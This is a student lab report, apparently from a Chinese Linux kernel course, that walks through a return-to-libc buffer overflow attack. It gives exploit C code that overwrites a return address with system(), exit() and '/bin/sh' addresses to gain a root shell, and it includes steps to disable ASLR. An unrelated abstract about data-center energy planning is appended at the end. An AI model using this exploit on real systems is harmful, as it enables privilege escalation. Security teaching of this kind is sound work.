2023-2024-1 20232811《Linux内核原理与分析》第十二周作业

202328 2023-12-08 11:47:33

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一、实验描述

二、实验准备

2.1 输入命令安装一些用于编译 32 位 C 程序的软件包

2.2 输入命令 linux32 进入 32 位 linux 环境,输入 /bin/bash 使用 bash

三、实验步骤

3.1 初始设置

3.2 漏洞程序

3.3 攻击程序

3.4 获取内存地址

3.5 攻击

四、总结和问答


一、实验描述

缓冲区溢出的常用攻击方法是用 shellcode 的地址来覆盖漏洞程序的返回地址,使得漏洞程序去执行存放在栈中 shellcode。为了阻止这种类型的攻击,一些操作系统使得系统管理员具有使栈不可执行的能力。这样的话,一旦程序执行存放在栈中的 shellcode 就会崩溃,从而阻止了攻击。

不幸的是上面的保护方式并不是完全有效的,现在存在一种缓冲区溢出的变体攻击,叫做 return-to-libc 攻击。这种攻击不需要一个栈可以执行,甚至不需要一个 shellcode。取而代之的是我们让漏洞程序跳转到现存的代码(比如已经载入内存的 libc 库中的 system()函数等)来实现我们的攻击。

二、实验准备

实验楼提供的是 64 位 Ubuntu linux,而本次实验为了方便观察汇编语句,我们需要在 32 位环境下作操作,因此实验之前需要做一些准备。

2.1 输入命令安装一些用于编译 32 位 C 程序的软件包

sudo apt-get update

sudo apt-get install lib32z1 libc6-dev-i386 #这个过程耗时有点长,请等待一会

sudo apt-get install lib32readline-gplv2-dev

2.2 输入命令 linux32 进入 32 位 linux 环境,输入 /bin/bash 使用 bash

 

三、实验步骤

3.1 初始设置

Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:

此外,为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击,许多 shell 程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在/bin/bash 中实现。

linux 系统中,/bin/sh 实际是指向/bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替 /bin/bash。下面的指令描述了如何设置 zsh 程序:

为了防止缓冲区溢出攻击,最近版本的 gcc 编译器默认将程序编译设置为栈不可执行,而你可以在编译的时候手动设置是否使栈不可执行:

gcc -z execstack -o test test.c    #栈可执行

gcc -z noexecstack -o test test.c  #栈不可执行

3.2 漏洞程序

在 /home/shiyanlou 目录下新建 retlib.c 文件

编译该程序,并设置 SET-UID。命令如下:

 

GCC 编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。

上述程序有一个缓冲区溢出漏洞,它先从一个叫 badfile 的文件里把 40 字节的数据读取到 12 字节的 buffer,引起溢出。fread() 函数不检查边界所以会发生溢出。由于此程序为 SET-ROOT-UID 程序,如果一个普通用户利用了此缓冲区溢出漏洞,他有可能获得 root shell。应该注意到此程序是从一个叫做badfile的文件获得输入的,这个文件受用户控制。现在我们的目标是为 badfile 创建内容,这样当这段漏洞程序将此内容复制进它的缓冲区,便产生了一个 root shell 。

我们还需要用到一个读取环境变量的程序,在 /home/shiyanlou 目录下新建 getenvaddr.c 文件并编译,文件内容如下:

/* getenvaddr.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char const *argv[])
{
    char *ptr;

    if (argc < 3)
    {
        printf("Usage: %s <environment var> <target program name>\n", argv[0]);
        exit(0);
    }
    ptr = getenv(argv[1]);
    ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
    printf("%s will be at %p\n", argv[1], ptr);
    return 0;
}

3.3 攻击程序

在 /home/shiyanlou 目录下新建 exploit.c 文件,内容如下:

/* exploit.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
 char buf[40];
 FILE *badfile;
 badfile = fopen(".//badfile", "w");
 
 strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times
  
 *(long *) &buf[32] =0x11111111; // "//bin//sh"
 *(long *) &buf[24] =0x22222222; // system()
 *(long *) &buf[36] =0x33333333; // exit()
 fwrite(buf, sizeof(buf), 1, badfile);
 fclose(badfile);
}

代码中“0x11111111”、“0x22222222”、“0x33333333”分别是 BIN_SH、system、exit 的地址,需要我们接下来获取

3.4 获取内存地址

  1. 用刚才的 getenvaddr 程序获得 BIN_SH 地址:
  2. gdb 获得 system 和 exit 地址:
  3. 修改 exploit.c 文件,填上刚才找到的内存地址:
  4. 删除刚才调试编译的 exploit 程序和 badfile 文件,重新编译修改后的 exploit.c: 

3.5 攻击

先运行攻击程序 exploit,再运行漏洞程序 retlib,可见攻击成功,获得了 root 权限:

四、总结和问答

实验过程中编译文件时出现了这样的错误

已经指明了 -m32 选项,gcc 还会去 /usr/lib/gcc/x86_64-linux-gnu/ 这个路径下去找库,这里应该是有问题的。应该是实验楼的系统里面没有 32 位的库文件,缺少相关依赖。

 

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内容概要:本文针对交直流混合数据中心园区的能源供应与算力资源协同问题,提出了一种多源-算力协同供电协调规划方法。该方法深度融合电力系统与信息计算系统,综合考虑光伏、风电、市电等多种能源形式与算力负载的时空耦合特性,通过构建多目标优化模型实现能源供给与算力需求的动态匹配与联合优化。研究设计了兼顾经济性、能效性与供电可靠性的综合评价体系,并采用Matlab进行建模仿真,对不同运行场景下的规划方案进行了对比分析,有效验证了所提方法在降低综合运营成本、提升能源利用效率和增强系统韧性的优越性能。; 适合人群:具备电力系统、能源管理、计算机系统或自动化等相关专业背景,从事数据中心、综合能源系统(IES)、新能源优化、算力网络等交叉领域研究的研究生、科研人员及工程技术人员。; 使用场景及目标:①为交直流混合架构的数据中心园区提供科学合理的多能协同供电与算力资源联合规划方案;②实现算力任务调度与多源供电策略的深度协调优化,最大化可再生能源消纳,提升整体能源效率与系统运行可靠性;③为其他涉及“能源-信息”深度融合的综合能源系统优化调度研究提供理论参考与Matlab代码实现基础。; 阅读建议:本文是典型的跨学科交叉研究,阅读时应重点关注其多目标优化建模的构建逻辑、多源-算力协同机制的设计原理以及目标函数与约束条件的数学表达。建议结合所提供的Matlab代码,动手复现仿真过程,深入理解模型求解细节,从而更好地掌握该方法的核心思想,并尝试将其迁移应用于自身相关的优化问题研究中。

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